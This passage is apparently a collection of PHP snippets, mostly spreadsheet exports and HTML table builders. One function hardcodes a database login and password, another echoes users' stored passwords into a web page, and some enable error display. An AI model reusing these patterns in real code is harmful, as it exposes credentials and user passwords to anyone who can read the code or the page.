['99grade'] = get_string('grade');\n ksort($tabledata);\n $current = 0;\n $newtabledata = array();\n foreach ($tabledata as $data) {\n foreach ($questions as $q) {\n $index = 10 + array_search($q, $questions);\n if (! isset($data [$index . \"\" . $q . \"-OF\"])) {\n $data [$index . \"\" . $q . \"-OF\"] = '0.000';\n }\n if (! isset($data [$index . \"\" . $q . \"-ER\"])) {\n $data [$index . \"\" . $q . \"-ER\"] = '0.000';\n }\n }\n ksort($data);\n $current ++;\n $newtabledata [] = $data;\n }\n $tabledata = $newtabledata;\n $excelfilename = clean_filename($emarking->name . \"-justice\" . \".xls\");\n emarking_save_data_to_excel($headers, $tabledata, $excelfilename);\n}", "function Assessors_Inscription_Assessors_Table_Titles($datas,$frienddatas,$submissiondatas)\n {\n return\n array_merge\n (\n array($this->B(\"No\")),\n $this->FriendsObj()->MyMod_Data_Titles($frienddatas),\n $this->SubmissionsObj()->MyMod_Data_Titles($submissiondatas),\n $this->MyMod_Data_Titles($datas),\n array(\"\")\n );\n }", "function ImprovedTable($header,$data)\n{\n\t//Anchuras de las columnas\n\t$w=array(60,30,20,35,35);\n\t//Cabeceras\n\t$l = mysql_connect(\"localhost\",\"pmm\",\"guhAf2eh\");\n\t//$l = mysql_connect(\"DBSERVER\",\"root\",\"root\");\n\tmysql_select_db(\"pmm_dbpruebas\", $l);\n\t//mysql_select_db(\"pmm_dbweb\", $l);\n\t$s = \"SELECT CONCAT_WS(' ',nombre,paterno,materno) AS cliente, d.calle, d.poblacion, d.estado, d.pais\n\tFROM catalogocliente cc\n\tINNER JOIN direccion d ON cc.id = d.codigo\n\tWHERE d.facturacion='SI'\n\tLIMIT 0,100\";\t\n\t$r = mysql_query($s,$l) or die($s);\n\t\n\tfor($i=0;$i<count($header);$i++)\n\t\t$this->Cell($w[$i],7,$header[$i],1,0,'C');\n\t$this->Ln();\n\t//Datos\t\n\t\twhile($row = mysql_fetch_array($r)){\n\t\t\t$this->Cell($w[0],6,$row[0],'LR');\n\t\t\t$this->Cell($w[1],6,$row[1],'LR');\n\t\t\t$this->Cell($w[2],6,number_format($row[2]),'LR',0,'R');\n\t\t\t$this->Cell($w[3],6,number_format($row[3]),'LR',0,'R');\n\t\t\t$this->Ln();\n\t\t}\n\t/*foreach($data as $row)\n\t{\n\t\t$this->Cell($w[0],6,$row[0],'LR');\n\t\t$this->Cell($w[1],6,$row[1],'LR');\n\t\t$this->Cell($w[2],6,number_format($row[2]),'LR',0,'R');\n\t\t$this->Cell($w[3],6,number_format($row[3]),'LR',0,'R');\n\t\t$this->Ln();\n\t}*/\n\t//Lnea de cierre\n\t$this->Cell(array_sum($w),0,'','T');\n}", "public function test()\n {\n\t\t$data = Session::get('exdata');\n $title = ['id', 'name', 'sex'];\n\n\n $spreadsheet = new Spreadsheet();\n $worksheet = $spreadsheet->getActiveSheet();\n //设置工作表标题名称\n $worksheet->setTitle('测试Excel');\n\n //表头\n //设置单元格内容\n foreach ($title as $key => $value) {\n $worksheet->setCellValueByColumnAndRow($key + 1, 1, $value);\n }\n\t\tLog::write($data, 'exdataT');\n $row = 2; //第二行开始\n foreach ($data as $item) {\n $column = 1;\n foreach ($item as $value) {\n $worksheet->setCellValueByColumnAndRow($column, $row, $value);\n $column++;\n }\n $row++;\n }\n\n # 保存为xlsx\n $filename = '测试Excel.xlsx';\n $writer = IOFactory::createWriter($spreadsheet, 'Xlsx');\n $writer->save($filename);\n \n header('Content-Type: application/vnd.openxmlformats-officedocument.spreadsheetml.sheet');\n header('Content-Disposition: attachment;filename=\"'.$filename.'\"');\n header('Cache-Control: max-age=0');\n $writer->save('php://output');\n\n }", "public function headings(): array\n {\n return [\n 'Name',\n 'Developer Name',\n 'Status',\n 'Description',\n 'Created At',\n ];\n }", "public static function excelDivisionsHeadings()\n {\n return [\n 'Divisions',\n 'Sub-Divisions',\n ];\n }", "private function getSkills() {\n\t\t$html ='';\n\t\tforeach ($this->_xml->ecole as $branch) {\n\t\t\t$html .= '<div id=\"'.$branch['id'].'\" class=\"tal_invisible\">';\n\t\t\t$html .= $this->getActive($branch);\n\t\t\t$html .= $this->getPassive($branch);\n\t\t\t$html .= '</div>';\n\t\t}\n\n\t\treturn $html;\n\t}", "private function create_table_people2(): ?string\n\t{\n\t\t$offset = ($this->xxl ? 50 : 30);\n\t\t$rows = ($this->xxl ? 30 : 15);\n\t\t$results = db::query('SELECT csnick, l_total FROM ruid_lines JOIN uid_details ON ruid_lines.ruid = uid_details.uid WHERE status NOT IN (3,4) AND l_total != 0 ORDER BY l_total DESC, ruid_lines.ruid ASC LIMIT '.$offset.','.($rows * 3));\n\t\t$col = 1;\n\t\t$row = 0;\n\n\t\twhile ($result = $results->fetchArray(SQLITE3_ASSOC)) {\n\t\t\tif (++$row > $rows) {\n\t\t\t\t++$col;\n\t\t\t\t$row = 1;\n\t\t\t}\n\n\t\t\t$columns[$col][$row] = [\n\t\t\t\t'csnick' => $result['csnick'],\n\t\t\t\t'l_total' => $result['l_total'],\n\t\t\t\t'pos' => $offset + (($col - 1) * $rows) + $row];\n\t\t}\n\n\t\t/**\n\t\t * Return if we don't have enough data to fill the table.\n\t\t */\n\t\tif (!isset($columns[3][$rows])) {\n\t\t\treturn null;\n\t\t}\n\n\t\t$total = db::query_single_col('SELECT COUNT(*) FROM ruid_lines JOIN uid_details ON ruid_lines.ruid = uid_details.uid WHERE status NOT IN (3,4)') - ($offset + $rows * 3);\n\t\t$colgroup = '<colgroup>'.str_repeat('<col>', 13);\n\t\t$thead = '<thead><tr><th colspan=\"13\">'.($total !== 0 ? '<span class=\"title-left\">Less Talkative People &ndash; All-Time</span><span class=\"title-right\">'.number_format($total).($total !== 1 ? ' People' : ' Person').' had even less to say..</span>' : 'Less Talkative People &ndash; All-Time');\n\t\t$thead .= '<tr><td><td>Lines<td><td>User<td><td>Lines<td><td>User<td><td>Lines<td><td>User<td>';\n\t\t$tbody = '<tbody>';\n\n\t\tfor ($i = 1; $i <= $rows; ++$i) {\n\t\t\t$tbody .= '<tr><td>';\n\n\t\t\tfor ($j = 1; $j <= 3; ++$j) {\n\t\t\t\t$tbody .= '<td>'.number_format($columns[$j][$i]['l_total']).'<td>'.$columns[$j][$i]['pos'].'<td>'.($this->link_user_php ? '<a href=\"user.php?nick='.$this->htmlify(urlencode($columns[$j][$i]['csnick'])).'\">'.$this->htmlify($columns[$j][$i]['csnick']).'</a>' : $this->htmlify($columns[$j][$i]['csnick'])).'<td>';\n\t\t\t}\n\t\t}\n\n\t\treturn '<table class=\"ppl2\">'.$colgroup.$thead.$tbody.'</table>'.\"\\n\";\n\t}", "public function excel()\n {\n Excel::create('ReporteExcel', function($excel) {\n $excel->sheet('EdadGenero', function($sheet) {\n $usersinfo = User::select(DB::raw(\"users.cc as Cedula_Ciudadania, users.lastname as Apellidos, users.name as Nombres, users.email as Email, users.cellphone as Celular, users.department as DepartamentoNac, users.city as CiudadNac, users.created_at as FechaRegistro\"))->get();\n $sheet->fromArray($usersinfo);\n });\n })->export('xls');\n\n }", "function styleHeaderExcel()\n{\n $styleHeader = array(\n 'font' => array(\n 'size' => 16,\n 'name' => 'Calibri',\n ), 'alignment' => array(\n 'vertical' => PHPExcel_Style_Alignment::VERTICAL_CENTER,\n ), 'fill' => array(\n 'type' => PHPExcel_Style_Fill::FILL_GRADIENT_LINEAR,\n 'rotation' => 90,\n 'startcolor' => array(\n 'argb' => 'B5B5B5',\n ), 'endcolor' => array(\n 'argb' => 'E0E0E0',\n ),\n ),\n );\n return $styleHeader;\n}", "public function visualizzazione(){\n $nameColumn = $this->getColumnName();\n $tuple = $this->read();\n foreach($nameColumn as $nome){\n $x = ' <td> '. $nome . ' </td> ';\n echo $x;\n }\n \n foreach($tuple as $ris){\n $str ='<tr> <td> '.$ris->getId(). ' </td> '.\n '<td> '.$ris->getNome(). '</td>'.\n '<td> '.$ris->getUsername(). '</td>'.\n '<td> '.$ris->getPassword(). '</td>'.\n '<td> '.$ris->getEmail(). '</td>'.\n '<td> '.$ris->getMuseo(). '</td>'.\n '</tr>';\n echo $str;\n };\n }", "public function readSkills() {\r\n include('connect.php');\r\n\r\n $query = \"SELECT * \r\n FROM SkillList\r\n LEFT JOIN Skills ON SkillList.Skill_name = Skills.SkillName\r\n WHERE SkillList.CharSkill_id = ?\";\r\n\r\n $myquery = $db->prepare($query);\r\n $myquery->bindValue(1, $this->charStats->Char_id);\r\n $myquery->execute();\r\n while ($result = $myquery->fetchObject()) {\r\n if ($result->Skill_name == \"\") {\r\n $this->charSkills[] = new Skill($result->Skill_id, \"\", \"\", \"\", \"\");\r\n } else {\r\n $this->charSkills[] = new Skill($result->Skill_id, $result->Skill_name, $result->SkillType, $result->SkillDiff, $result->SkillPoints);\r\n }\r\n }\r\n }", "function titulopersonal(){\n print (\"\\n<tr>\");\n if($this->titulo !=\"\")\n foreach ($this->titulo as $titulo){\n print (\"\\n<th>$titulo</th>\");\n }\n print (\"\\n<tr>\"); \n }", "private function headings() {\n\t\t$this->section_data['general_h_tags'] = array(\n\t\t\t'name' \t\t\t\t\t=> 'general_h_tags',\n\t\t\t'label' \t\t\t\t=> __( 'Headings', 'fixedtoc' ),\n\t\t\t'default' \t\t\t=> array( 'h1', 'h2', 'h3', 'h4', 'h5', 'h6' ),\n\t\t\t'type' \t\t\t\t\t=> 'multi_checkbox',\n\t\t\t'choices'\t\t\t\t=> array(\n\t\t\t\t\t\t\t\t\t\t\t\t\t'h1' => 'Heading 1',\n\t\t\t\t\t\t\t\t\t\t\t\t\t'h2' => 'Heading 2',\n\t\t\t\t\t\t\t\t\t\t\t\t\t'h3' => 'Heading 3',\n\t\t\t\t\t\t\t\t\t\t\t\t\t'h4' => 'Heading 4',\n\t\t\t\t\t\t\t\t\t\t\t\t\t'h5' => 'Heading 5',\n\t\t\t\t\t\t\t\t\t\t\t\t\t'h6' => 'Heading 6',\n\t\t\t\t\t\t\t\t\t\t\t\t ),\n\t\t\t'des'\t\t\t\t\t\t=> __( 'Check which HTML headings automatically generated table of contents.', 'fixedtoc' )\n\t\t);\n\t}", "function createWorkbook($recordset, $StartDay, $EndDay)\n{\n\n global $objPHPExcel;\n $objPHPExcel->createSheet(1);\n $objPHPExcel->createSheet(2);\n\n $objPHPExcel->getDefaultStyle()->getFont()->setSize(7);\n\n // Set document properties\n $objPHPExcel->getProperties()->setCreator(\"HTC\")\n ->setLastModifiedBy(\"HTC\")\n ->setTitle(\"HTC - State Fair Schedule \" . date(\"Y\"))\n ->setSubject(\"State Fair Schedule \" . date(\"Y\"))\n ->setDescription(\"State Fair Schedule \" . date(\"Y\"));\n\n addHeaders($StartDay, $EndDay);\n addTimes($StartDay,$EndDay);\n // Add some data\n addWorksheetData($recordset);\n\n\n // adding data required for spreadsheet to work properly\n addStaticData();\n\n // Rename worksheet\n $objPHPExcel->setActiveSheetIndex(2)->setTitle('Overnight');\n $objPHPExcel->setActiveSheetIndex(1)->setTitle('Night');\n $objPHPExcel->setActiveSheetIndex(0)->setTitle('Morning');\n\n\n\n $objWriter = PHPExcel_IOFactory::createWriter($objPHPExcel, 'Excel5');\n\n $objWriter->save('../Export/excel/Schedule' . date(\"Y\") . '.xls');\n\n return 'Schedule' . date(\"Y\") . '.xls';\n\n}", "public function excel()\n {\n Excel::create('Lista de vehiculos', function($excel) {\n $excel->sheet('Excel sheet', function($sheet) {\n //otra opción -> $products = Product::select('name')->get();\n\n $vehiculo = Transporte::join('empleados', 'empleados.id', '=', 'transportes.chofer_id')\n ->select('transportes.nombre_Unidad','transportes.no_Serie','transportes.placas','transportes.poliza_Seguro','transportes.vigencia_Seguro','transportes.aseguradora','transportes.m3_Unidad','transportes.capacidad', \\DB::raw(\"concat(empleados.nombre,' ',empleados.apellidos) as 'name'\"))\n ->where('empleados.estado', 'Activo')\n ->get(); \n $sheet->fromArray($vehiculo);\n $sheet->row(1,['Nombre Vehiculo','Numero Serie','Placas','Poliza Seguro','Vigencia Seguro','Aseguradora','Capacidad Ubica','Capacidad','Nombre Chofer']);\n\n $sheet->setOrientation('landscape');\n });\n })->export('xls');\n }", "public function build_table()\n {\n if (count($this->properties) > 0)\n {\n foreach ($this->properties as $property => $values)\n {\n $contents = array();\n $contents[] = $property;\n \n if (! is_array($values))\n {\n $values = array($values);\n }\n \n if (count($values) > 0)\n {\n foreach ($values as $value)\n {\n $contents[] = $value;\n }\n }\n \n $this->addRow($contents);\n }\n \n $this->setColAttributes(0, array('class' => 'header'));\n }\n else\n {\n $contents = array();\n $contents[] = Translation::get('NoResults', null, Utilities::COMMON_LIBRARIES);\n $row = $this->addRow($contents);\n $this->setCellAttributes($row, 0, 'style=\"font-style: italic;text-align:center;\" colspan=2');\n }\n }", "public static function generate_excel($filename, $data, $headers_included = true) {\n Excel_Facade::create($filename, function($excel) use($filename, $data, $headers_included) {\n\n // Set the title\n $excel->setTitle($filename)\n ->setCreator('Club Manager')\n ->setCompany('Geekk')\n ->setDescription($filename);\n\n // Add the sheet and fill it with de participants\n $excel->sheet('Leden', function($sheet) use($data, $headers_included) {\n\n // Only set the first row bold, when we included headers\n if($headers_included) {\n $sheet->cells('A1:' . self::get_last_column(count($data[0])) . '1', function($cells) {\n // Set font weight to bold\n $cells->setFontWeight('bold');\n });\n }\n\n // Append the data to the sheet\n $sheet->rows($data);\n });\n\n })->download('xlsx');\n }", "public function index()\n {\n $entries = SkillEntries::join('skills', 'skills_id', '=', 'skills.id')\n\n ->join('skills_category','skills_category.category_id','=','skills.category_id')\n\n ->join('rating','rating.student_rating','=','skills_entry.student_rating')\n\n ->join('staff','staff.id','=','skills_entry.staff_id')\n\n ->join('evaluator','evaluator.evaluator_id','=','skills_entry.evaluator_id')\n \n ->select('skills_entry.id','skills.skill_title', 'skills_category.category_name','staff.staff_name', 'skills_entry.student_rating','evaluator.evaluator_name','skills_entry.evaluator_rating')\n //->get();\n ->orderBy('skills_entry.id','asc')->get();\n // return $entries['skill_title'];\n\n \n return $entries;\n }", "function table_table_header_row($values)\n{\n\t$cells=new ocp_tempcode();\n\tforeach ($values as $value)\n\t{\n\t\t$cells->attach(do_template('TABLE_TABLE_HEADER_ROW_CELL',array('_GUID'=>'5002f54ccddf7259f3460d8c0759fd1a','VALUE'=>$value)));\n\t}\n\n\treturn do_template('TABLE_TABLE_HEADER_ROW',array('_GUID'=>'2f4095b8d30f50f34fdd6acf8dd566b1','CELLS'=>$cells));\n}", "function createSpreadsheet(){\n\t\t\n\t\n\t\terror_reporting(E_ALL);\n\t\tini_set('display_errors', TRUE);\n\t\tini_set('display_startup_errors', TRUE);\n\t\n\t\tdefine('EOL',(PHP_SAPI == 'cli') ? PHP_EOL : '<br />');\n\t\n\t\t/** Include PHPExcel */\n\t\t//require_once dirname(__FILE__) . '/../Classes/PHPExcel.php';\n\t\t\n\t\trequire_once $GLOBALS['ROOT_PATH'].'Classes/PHPExcel.php';\n\t\n\t\n\t\tPHPExcel_Cell::setValueBinder( new PHPExcel_Cell_AdvancedValueBinder() );\n\t\n\t\t// Create new PHPExcel object\n\t\t$objPHPExcel = new PHPExcel();\n\t\t$currentMonth = date('Y-m');\n\t\t$title = $this->getHhName() . ' ' . $currentMonth;\n\t\t\n\t\t// Set document properties\n\t\t$objPHPExcel->getProperties()->setCreator(\"HhManagement\")\n\t\t->setLastModifiedBy(\"HhManagement\")\n\t\t->setTitle($title)\n\t\t->setSubject($currentMonth);\n\t\n\t\t//default styles\n\t\t$objPHPExcel->getDefaultStyle()->getFont()->setName('Calibri');\n\t\t$objPHPExcel->getDefaultStyle()->getFont()->setSize(12);\n\t\n\t\n\t\t//styles....\n\t\n\t\t//fonts\n\t\t//font red bold italic centered\n\t\t$fontRedBoldItalicCenter = array (\n\t\t\t\t'font' => array (\n\t\t\t\t\t\t'bold' => true,\n\t\t\t\t\t\t'italic' => true,\n\t\t\t\t\t\t'color' => array(\n\t\t\t\t\t\t\t\t'argb' => 'FFF40202',\n\t\t\t\t\t\t)\n\t\t\t\t),\n\t\t\t\t'alignment' => array (\n\t\t\t\t\t\t'vertical' => PHPExcel_Style_Alignment::VERTICAL_CENTER,\n\t\t\t\t\t\t'horizontal' => PHPExcel_Style_Alignment::HORIZONTAL_CENTER\n\t\t\t\t)\n\t\t);\n\t\n\t\t//font red bold\n\t\t$fontRedBold = array (\n\t\t\t\t'font' => array (\n\t\t\t\t\t\t'bold' => true,\n\t\t\t\t\t\t'color' => array(\n\t\t\t\t\t\t\t\t'argb' => 'FFF40202',\n\t\t\t\t\t\t)\n\t\t\t\t)\n\t\t);\n\t\n\t\t//font red\n\t\t$fontRed = array (\n\t\t\t\t'font' => array (\n\t\t\t\t\t\t'color' => array(\n\t\t\t\t\t\t\t\t'argb' => 'FFF40202',\n\t\t\t\t\t\t)\n\t\t\t\t)\n\t\t);\n\t\n\t\t//font Green\n\t\t$fontGreen = array (\n\t\t\t\t'font' => array (\n\t\t\t\t\t\t'color' => array(\n\t\t\t\t\t\t\t\t'argb' => '0008B448',\n\t\t\t\t\t\t)\n\t\t\t\t)\n\t\t);\n\t\n\t\t//font Bold Italic\n\t\t$fontBoldItalic = array (\n\t\t\t\t'font' => array (\n\t\t\t\t\t\t'bold' => true,\n\t\t\t\t\t\t'italic' => true,\n\t\t\t\t)\n\t\t);\n\t\n\t\t//font Bold Italic Centered\n\t\t$fontBoldItalicCenter = array (\n\t\t\t\t'font' => array (\n\t\t\t\t\t\t'bold' => true,\n\t\t\t\t\t\t'italic' => true,\n\t\t\t\t),\n\t\t\t\t'alignment' => array (\n\t\t\t\t\t\t'vertical' => PHPExcel_Style_Alignment::VERTICAL_CENTER,\n\t\t\t\t\t\t'horizontal' => PHPExcel_Style_Alignment::HORIZONTAL_CENTER\n\t\t\t\t)\n\t\t);\n\t\n\t\t//background fillings\n\t\t//fill red\n\t\t$fillRed = array (\n\t\t\t\t'fill' => array(\n\t\t\t\t\t\t'type' => PHPExcel_Style_Fill::FILL_SOLID,\n\t\t\t\t\t\t'startcolor' => array(\n\t\t\t\t\t\t\t\t'argb' => 'FFF40202',\n\t\t\t\t\t\t),\n\t\t\t\t),\n\t\t);\n\t\n\t\t//fill yellow\n\t\t$fillYellow = array (\n\t\t\t\t'fill' => array(\n\t\t\t\t\t\t'type' => PHPExcel_Style_Fill::FILL_SOLID,\n\t\t\t\t\t\t'startcolor' => array(\n\t\t\t\t\t\t\t\t'argb' => 'FFF2E500',\n\t\t\t\t\t\t),\n\t\t\t\t),\n\t\t);\n\t\n\t\t//fill green\n\t\t$fillGreen = array (\n\t\t\t\t'fill' => array(\n\t\t\t\t\t\t'type' => PHPExcel_Style_Fill::FILL_SOLID,\n\t\t\t\t\t\t'startcolor' => array(\n\t\t\t\t\t\t\t\t'argb' => 'FF92D050',\n\t\t\t\t\t\t),\n\t\t\t\t),\n\t\t);\n\t\n\t\t//fill gray\n\t\t$fillGray = array (\n\t\t\t\t'fill' => array(\n\t\t\t\t\t\t'type' => PHPExcel_Style_Fill::FILL_SOLID,\n\t\t\t\t\t\t'startcolor' => array(\n\t\t\t\t\t\t\t\t'argb' => 'FFD9D9D9',\n\t\t\t\t\t\t),\n\t\t\t\t),\n\t\t);\n\t\n\t\t//fill cream\n\t\t$fillCream = array (\n\t\t\t\t'fill' => array(\n\t\t\t\t\t\t'type' => PHPExcel_Style_Fill::FILL_SOLID,\n\t\t\t\t\t\t'startcolor' => array(\n\t\t\t\t\t\t\t\t'argb' => 'FFC4BD97',\n\t\t\t\t\t\t),\n\t\t\t\t),\n\t\t);\n\t\n\t\t//sets the heading for the first table\n\t\t$objPHPExcel->getActiveSheet()->getStyle('A1')->applyFromArray($fillCream);\n\t\t$objPHPExcel->getActiveSheet()->setCellValue('B1','Equal AMT');\n\t\t$objPHPExcel->getActiveSheet()->getStyle('B1')->applyFromArray($fontRedBoldItalicCenter);\n\t\t$objPHPExcel->getActiveSheet()->getStyle('B1')->applyFromArray($fillCream);\n\t\t$objPHPExcel->getActiveSheet()->setCellValue('C1','Ind. bills');\n\t\t$objPHPExcel->getActiveSheet()->getStyle('C1')->applyFromArray($fontRedBoldItalicCenter);\n\t\t$objPHPExcel->getActiveSheet()->getStyle('C1')->applyFromArray($fillCream);\n\t\t$objPHPExcel->getActiveSheet()->setCellValue('D1','To rent');\n\t\t$objPHPExcel->getActiveSheet()->getStyle('D1')->applyFromArray($fontRedBoldItalicCenter);\n\t\t$objPHPExcel->getActiveSheet()->getStyle('D1')->applyFromArray($fillCream);\n\t\n\t\t$numberOfMembers = $this->getNumberOfMembers();\n\t\t$monthTotal = $this->getMonthTotal();\n\t\t$rent = $this->getHhRent();\n\t\t$col = 65;//starts at column A\n\t\t$row = 2;//the table starts at row 2\n\t\n\t\t//array used to associate the bills with the respective user\n\t\t$array =[];\n\t\n\t\t//sets the members names fair amount and value\n\t\t$members = $this->getMembers();\n\t\tforeach ($members as $member) {\n\t\t\t$name = $member->getUserFirstName();\n\t\t\t$cellName = chr($col) . $row;\n\t\t\t$objPHPExcel->getActiveSheet()->setCellValue($cellName,$name);\n\t\t\t$objPHPExcel->getActiveSheet()->getStyle($cellName)->applyFromArray($fontBoldItalic);\n\t\n\t\t\t$cellInd = chr($col+2) . $row;\n\t\t\t$objPHPExcel->getActiveSheet()->setCellValue($cellInd,'0.0');\n\t\t\t$objPHPExcel->getActiveSheet()->getStyle($cellInd)->getNumberFormat()\n\t\t\t->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_CURRENCY_USD_SIMPLE);\n\t\t\t$objPHPExcel->getActiveSheet()->getStyle($cellInd)->applyFromArray($fillRed);\n\t\n\t\t\t$cellFair = chr($col+1) . $row;\n\t\t\t$objPHPExcel->getActiveSheet()->getStyle($cellFair)->applyFromArray($fontRed);\n\t\t\t$objPHPExcel->getActiveSheet()->getStyle($cellFair)->getNumberFormat()\n\t\t\t->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_CURRENCY_USD_SIMPLE);\n\t\t\t$objPHPExcel->getActiveSheet()->getStyle($cellFair)->applyFromArray($fillGray);\n\t\n\t\t\t$cellRent = chr($col+3) . $row;\n\t\t\t$objPHPExcel->getActiveSheet()->setCellValue($cellRent,'=SUM('. $cellFair .'-'. $cellInd .')');\n\t\t\t$objPHPExcel->getActiveSheet()->getStyle($cellRent)->applyFromArray($fontGreen);\n\t\t\t$objPHPExcel->getActiveSheet()->getStyle($cellRent)->getNumberFormat()\n\t\t\t->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_CURRENCY_USD_SIMPLE);\n\t\t\t$objPHPExcel->getActiveSheet()->getStyle($cellInd)->applyFromArray($fillYellow);\n\t\n\t\t\t$array[$name]['cell'] = $cellInd;\n\t\t\t$row++;\n\t\t}\n\t\n\t\t//inserts the sum of the fair amounts to compare to the one below\n\t\t$endCell = chr($col+1) . ($row-1);\n\t\t$cell = chr($col+1) . $row;\n\t\t$objPHPExcel->getActiveSheet()->setCellValue($cell,'=SUM(B2:'.$endCell.')');\n\t\t$objPHPExcel->getActiveSheet()->getStyle($cell)->applyFromArray($fontRed);\n\t\t$objPHPExcel->getActiveSheet()->getStyle($cell)->getNumberFormat()\n\t\t->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_CURRENCY_USD_SIMPLE);\n\t\t$objPHPExcel->getActiveSheet()->getStyle($cell)->applyFromArray($fillGray);\n\t\n\t\t//insert the rent check values\n\t\t$cell = chr($col+2) .$row;\n\t\t$objPHPExcel->getActiveSheet()->setCellValue($cell,'Rent');\n\t\t$objPHPExcel->getActiveSheet()->getStyle($cell)->applyFromArray($fontBoldItalic);\n\t\t$objPHPExcel->getActiveSheet()->getStyle($cell)->applyFromArray($fillYellow);\n\t\t$cell = chr($col+3) . $row;\n\t\t$endCell = chr($col+3) .($row-1);\n\t\t$objPHPExcel->getActiveSheet()->setCellValue($cell,'=SUM(D2:'.$endCell.')');\n\t\t$objPHPExcel->getActiveSheet()->getStyle($cell)->applyFromArray($fontRedBold);\n\t\t$objPHPExcel->getActiveSheet()->getStyle($cell)->getNumberFormat()\n\t\t->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_CURRENCY_USD_SIMPLE);\n\t\t$objPHPExcel->getActiveSheet()->getStyle($cell)->applyFromArray($fillYellow);\n\t\n\t\t//inserts the bill and amount labels\n\t\t$row += 2;\n\t\t$cellMergeEnd = chr($col+1) . $row;\n\t\t$cell = chr($col) . $row++;\n\t\t$objPHPExcel->getActiveSheet()->setCellValue($cell,'House bills');\n\t\t$objPHPExcel->getActiveSheet()->getStyle($cell)->applyFromArray($fontBoldItalicCenter);\n\t\t$objPHPExcel->getActiveSheet()->mergeCells($cell.':'.$cellMergeEnd);\n\t\t$objPHPExcel->getActiveSheet()->getStyle($cell)->applyFromArray($fillRed);\n\t\n\t\t$cell = chr($col) . $row;\n\t\t$objPHPExcel->getActiveSheet()->setCellValue($cell,'Bill');\n\t\t$objPHPExcel->getActiveSheet()->getStyle($cell)->applyFromArray($fontBoldItalicCenter);\n\t\t$objPHPExcel->getActiveSheet()->getStyle($cell)->applyFromArray($fillGreen);\n\t\n\t\t$cell = chr($col+1) . $row++;\n\t\t$objPHPExcel->getActiveSheet()->setCellValue($cell,'Amount');\n\t\t$objPHPExcel->getActiveSheet()->getStyle($cell)->applyFromArray($fontBoldItalicCenter);\n\t\t$objPHPExcel->getActiveSheet()->getStyle($cell)->applyFromArray($fillGreen);\n\t\n\t\n\t\t//inserts the bills\n\t\t$startCell = chr($col+1) . $row;\n\t\tforeach ($members as $member) {\n\t\t\t$name = $member->getUserFirstName();\n\t\t\t$col = 65;\n\t\t\t$bills = $member->getBills();\n\t\t\t$array[$name]['bills'] = [];\n\t\t\tforeach ($bills as $bill) {\n\t\t\t\t$desc = $bill->getBillDescription();\n\t\t\t\t$amount = $bill->getBillAmount();\n\t\t\t\t$objPHPExcel->getActiveSheet()->setCellValue(chr($col) . $row,$desc);\n\t\t\t\t$amountCell = chr($col+1) . $row++;\n\t\t\t\t$objPHPExcel->getActiveSheet()->setCellValue($amountCell,$amount);\n\t\t\t\t$objPHPExcel->getActiveSheet()->getStyle($amountCell)->getNumberFormat()\n\t\t\t\t->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_CURRENCY_USD_SIMPLE);\n\t\t\t\tarray_push($array[$name]['bills'], $amountCell);\n\t\t\t\t\t\n\t\t\t}\n\t\t}\n\t\n\t\t$col = 65;\n\t\n\t\t//inserts rent\n\t\t$cell = chr($col) .$row;\n\t\t$objPHPExcel->getActiveSheet()->setCellValue($cell,'Rent');\n\t\t$objPHPExcel->getActiveSheet()->getStyle($cell)->applyFromArray($fillYellow);\n\t\n\t\t$cell = chr($col+1) . $row++;\n\t\t$objPHPExcel->getActiveSheet()->setCellValue($cell,$rent);\n\t\t$objPHPExcel->getActiveSheet()->getStyle($cell)->getNumberFormat()\n\t\t->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_CURRENCY_USD_SIMPLE);\n\t\t$objPHPExcel->getActiveSheet()->getStyle($cell)->applyFromArray($fillYellow);\n\t\t$endCell = chr($col+1) . ($row-1);\n\t\n\t\t//inserts the total of bills\n\t\t$col = 65;\n\t\t$cell = chr($col) .$row;\n\t\t$objPHPExcel->getActiveSheet()->setCellValue($cell,'Total H-B');\n\t\t$objPHPExcel->getActiveSheet()->getStyle($cell)->applyFromArray($fontRedBoldItalicCenter);\n\t\t$objPHPExcel->getActiveSheet()->getStyle($cell)->applyFromArray($fillCream);\n\t\n\t\t$cell = chr($col+1) .$row++;\n\t\t$objPHPExcel->getActiveSheet()->setCellValue($cell, '=SUM('. $startCell .':'. $endCell .')');\n\t\t$objPHPExcel->getActiveSheet()->getStyle($cell)->applyFromArray($fontRedBoldItalicCenter);\n\t\t$objPHPExcel->getActiveSheet()->getStyle($cell)->getNumberFormat()\n\t\t->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_CURRENCY_USD_SIMPLE);\n\t\t$objPHPExcel->getActiveSheet()->getStyle($cell)->applyFromArray($fillCream);\n\t\n\t\t//inserts the fair amount\n\t\t$cell = chr($col) .$row;\n\t\t$objPHPExcel->getActiveSheet()->setCellValue($cell,'Fair Amount if ' . $numberOfMembers);\n\t\t$objPHPExcel->getActiveSheet()->getStyle($cell)->applyFromArray($fillGray);\n\t\t$cell = chr($col+1) .$row;\n\t\t$objPHPExcel->getActiveSheet()\n\t\t->setCellValue($cell,'='. chr($col+1) .($row-1) . '/' . $numberOfMembers);\n\t\t$objPHPExcel->getActiveSheet()->getStyle($cell)->getNumberFormat()\n\t\t->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_CURRENCY_USD_SIMPLE);\n\t\t$objPHPExcel->getActiveSheet()->getStyle($cell)->applyFromArray($fillGray);\n\t\t$fairAmountCell = chr($col+1) . $row;\n\t\n\t\t$row = 2;\n\t\tforeach ($members as $member) {\n\t\t\t$col = 66;\n\t\t\t$objPHPExcel->getActiveSheet()->setCellValue(chr($col) . $row++,'='. $fairAmountCell);\n\t\t}\n\t\n\t\t//inserts the individual bills\n\t\tforeach ($array as $value){\n\t\t\t$cell = $value['cell'];\n\t\t\t$sumOfBills = '';\n\t\t\t\t\n\t\t\tif (isset($value['bills'])) {\n\t\t\t\t$bills = $value['bills'];\n\t\t\t\t$counter = 1;\n\t\t\t\tforeach ($bills as $bill){\n\t\t\t\t\tif ($counter == 1){\n\t\t\t\t\t\t$sumOfBills .= $bill;\n\t\t\t\t\t} else {\n\t\t\t\t\t\t$sumOfBills .= '+' . $bill;\n\t\t\t\t\t}\n\t\t\t\t\t$counter++;\n\t\t\t\t}\n\t\t\t}\n\t\t\t$objPHPExcel->getActiveSheet()->setCellValue($cell,'=SUM('. $sumOfBills . 